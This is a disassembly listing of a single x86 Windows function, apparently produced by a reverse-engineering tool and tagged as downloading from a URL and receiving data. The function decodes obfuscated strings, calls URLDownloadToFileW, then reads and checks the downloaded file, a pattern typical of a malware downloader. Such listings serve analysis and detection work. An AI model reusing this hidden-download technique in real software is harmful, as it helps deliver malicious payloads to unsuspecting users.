Function at 0x405730
Capabilities:
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x448873
push eax
mov dword fs:[0], esp
sub esp, 0x1a8
push ebx
push esi
push edi
mov ebx, ecx
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405d80
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x48], eax
mov dword [ebp - 4], 0
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405d8a
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x18], eax
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
mov byte [ebp - 4], 1
call fcn.00403500
test al, al
jne 0x4057b2
push 0x58
push str.ZnJybnE4LS1uYV9ubixxcm1wYy1kX110Y3BxZ21sLG5mbj1lc2diOyN1cSRjbGJddDsjdXEkbG1hX2FmYzsjYg
lea ecx, [ebp - 0x18]
call fcn.00403990
mov byte [ebp - 4], 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
push dword [0x461ba0]
mov eax, dword [ebp - 0x18]
push 0x4619a0
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x2c], esi
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x14]
mov dword [esi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 3
push dword [eax]
lea eax, [ebp - 0x48]
push eax
call fcn.0040a400
mov byte [ebp - 4], 2
or edi, 0xffffffff
mov edx, dword [ebp - 0x14]
add esp, 0x14
add edx, 0xfffffff0
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405821
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405d94
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x1c], eax
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], 4
call fcn.00403500
test al, al
jne 0x40585f
push 0x10
push str.Sl9xclRjcHFnbWw
lea ecx, [ebp - 0x1c]
call fcn.00403990
mov byte [ebp - 4], 5
mov eax, dword [ebp - 0x1c]
push ecx
add eax, 0xfffffff0
mov esi, esp
mov dword [ebp - 0x28], esi
mov ecx, eax
mov dword [ebp - 0x28], eax
call fcn.004037d0
add eax, 0x10
lea ecx, [ebp - 0x64]
mov dword [esi], eax
call fcn.00402190
add esp, 4
push eax
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 6
call fcn.00409500
add esp, 4
mov byte [ebp - 4], 8
mov eax, edi
mov edx, dword [ebp - 0x64]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4058b7
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov esi, dword [ebp - 0x48]
push 0
push 0
push dword [ebp - 0x24]
push esi
push 0
call dword [sym.imp.urlmon.dll_URLDownloadToFileW]
test eax, eax
je 0x405a13
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405d9e
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x14], eax
push 0x457ebc
lea ecx, [ebp - 0x14]
mov byte [ebp - 4], 9
call fcn.00403500
test al, al
jne 0x405910
push 0x10
push 0x457ebc
lea ecx, [ebp - 0x14]
call fcn.00403990
mov byte [ebp - 4], 0xa
call fcn.00401600
mov ecx, eax
test ecx, ecx
je 0x405da8
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x20], eax
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xb
call fcn.00403500
test al, al
jne 0x405952
push 0x14
push str.al9xcl10XWJqXWNwcG1w
lea ecx, [ebp - 0x20]
call fcn.00403990
push ecx
mov byte [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x6c], esp
push 0x45740f
call fcn.00402d50
push ecx
mov byte [ebp - 4], 0xd
mov ebx, esp
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x70], esp
add eax, 0xfffffff0
push ecx
mov edi, esp
mov dword [ebp - 0x68], eax
mov ecx, eax
mov dword [ebp - 0x10], edi
call fcn.004037d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
mov byte [ebp - 4], 0xe
mov ebx, esp
mov eax, dword [ebp - 0x14]
push ecx
add eax, 0xfffffff0
mov edi, esp
mov dword [ebp - 0x10], edi
mov ecx, eax
mov dword [ebp - 0x10], eax
call fcn.004037d0
add eax, 0x10
mov ecx, ebx
mov dword [edi], eax
call fcn.00402190
add esp, 4
mov byte [ebp - 4], 0xc
call fcn.00406480
mov edx, dword [ebp - 0x68]
or edi, 0xffffffff
add esp, 0xc
mov dword [0x461990], 1
mov byte [ebp - 4], 0xa
mov eax, edi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x4059f1
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
mov eax, edi
mov byte [ebp - 4], 8
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405a0c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
xor bl, bl
jmp 0x405cfd
sub esp, 0xc
lea ecx, [ebp - 0x128]
push dword [ebp - 0x24]
call fcn.00409150
mov ecx, 0xf
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], ecx
mov byte [ebp - 0x44], 0
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0xcc], 0
je 0x405a94
lea edx, [ebp - 0x44]
lea ecx, [ebp - 0x128]
call fcn.0040a540
lea ecx, [ebp - 0x118]
call fcn.00409e60
test eax, eax
jne 0x405a91
mov eax, dword [ebp - 0x128]
lea ecx, [ebp - 0x128]
push 0
add ecx, dword [eax + 4]
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00404c60
mov ecx, dword [ebp - 0x30]
mov edx, dword [ebp - 0x44]
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405aa1
mov edi, edx
mov eax, dword [ebp - 0x34]
add eax, edi
lea edi, [ebp - 0x44]
cmp ecx, 0x10
jb 0x405ab0
mov edi, edx
push ecx
push eax
push edi
lea ecx, [ebp - 0x60]
call fcn.0040a5e0
push eax
mov ecx, ebx
call fcn.004096e0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 8
jb 0x405afd
mov edx, dword [ebp - 0x60]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x405af3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405db2
push ecx
push edx
call fcn.0042288e
add esp, 8
push 3
push dword [0x461ba0]
lea eax, [ebp - 0x1ac]
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x1b0], eax
call fcn.00409a80
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x1b0]
mov ecx, edx
mov dword [ebp - 0x60], 0
mov dword [ebp - 0x50], 0
mov dword [ebp - 0x4c], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x405b40
sub ecx, edi
push ecx
push edx
lea ecx, [ebp - 0x60]
call fcn.00403b90
cmp dword [ebp - 0x30], 0x10
lea edx, [ebp - 0x44]
jb 0x405b5f
mov edx, dword [ebp - 0x44]
cmp dword [ebp - 0x4c], 0x10
lea ecx, [ebp - 0x60]
jb 0x405b6b
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x34]
mov edi, eax
mov ebx, dword [ebp - 0x50]
cmp eax, ebx
jb 0x405b79
mov edi, ebx
sub edi, 4
jb 0x405b91
mov edi, edi
mov eax, dword [ecx]
cmp eax, dword [edx]
jne 0x405b96
add ecx, 4
add edx, 4
sub edi, 4
jae 0x405b80
cmp edi, 0xfffffffc
je 0x405bca
mov al, byte [ecx]
cmp al, byte [edx]
jne 0x405bc3
cmp edi, 0xfffffffd
je 0x405bca
mov al, byte [ecx + 1]
cmp al, byte [edx + 1]
jne 0x405bc3
cmp edi, 0xfffffffe
je 0x405bca
mov al, byte [ecx + 2]
cmp al, byte [edx + 2]
jne 0x405bc3
cmp edi, 0xffffffff
je 0x405bca
mov al, byte [ecx + 3]
cmp al, byte [edx + 3]
je 0x405bca
sbb ebx, ebx
or ebx, 1
jmp 0x405bcc
xor ebx, ebx
test ebx, ebx
jne 0x405be3
mov eax, dword [ebp - 0x34]
mov ecx, dword [ebp - 0x50]
cmp eax, ecx
jbe 0x405bdf
or ebx, 0xffffffff
jmp 0x405be3
sbb ebx, ebx
neg ebx
mov eax, dword [ebp - 0x4c]
shr ebx, 0x1f
xor bl, 1
cmp eax, 0x10
jb 0x405c1f
mov edx, dword [ebp - 0x60]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c15
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405db7
push ecx
push edx
call fcn.0042288e
add esp, 8
mov eax, dword [ebp - 0x1b0]
lea ecx, [ebp - 0x1ac]
cmp eax, ecx
je 0x405c38
push eax
call fcn.004278b4
add esp, 4
mov byte [ebp - 4], 0xf
mov eax, dword [ebp - 0x30]
cmp eax, 0x10
jb 0x405c72
mov edx, dword [ebp - 0x44]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x405c68
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x405db7
push ecx
push edx
call fcn.0042288e
add esp, 8
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0xf
mov byte [ebp - 0x44], 0
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x12c], eax
lea ecx, [ebp - 0x118]
call fcn.00408e00
mov eax, dword [ebp - 0x128]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x12c], eax
lea eax, [ebp - 0xb8]
mov byte [ebp - 4], 0x12
push eax
mov dword [ebp - 0xb8], vtable.std::ios_base.0
call fcn.0040f14b
add esp, 4
or edi, 0xffffffff
mov byte [ebp - 4], 5
mov eax, edi
mov edx, dword [ebp - 0x24]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d1b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x28]
mov eax, edi
mov byte [ebp - 4], 2
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d36
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, edi
mov byte [ebp - 4], 0
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x405d51
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
lock xadd dword [esi + 0xc], edi
dec edi
test edi, edi
jg 0x405d6d
mov ecx, dword [esi]
push esi
mov edx, dword [ecx]
call dword [edx + 4]
mov ecx, dword [ebp - 0xc]
mov al, bl
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
push 0x80004005
call fcn.004013d0
call fcn.00427553
call fcn.00427553
int3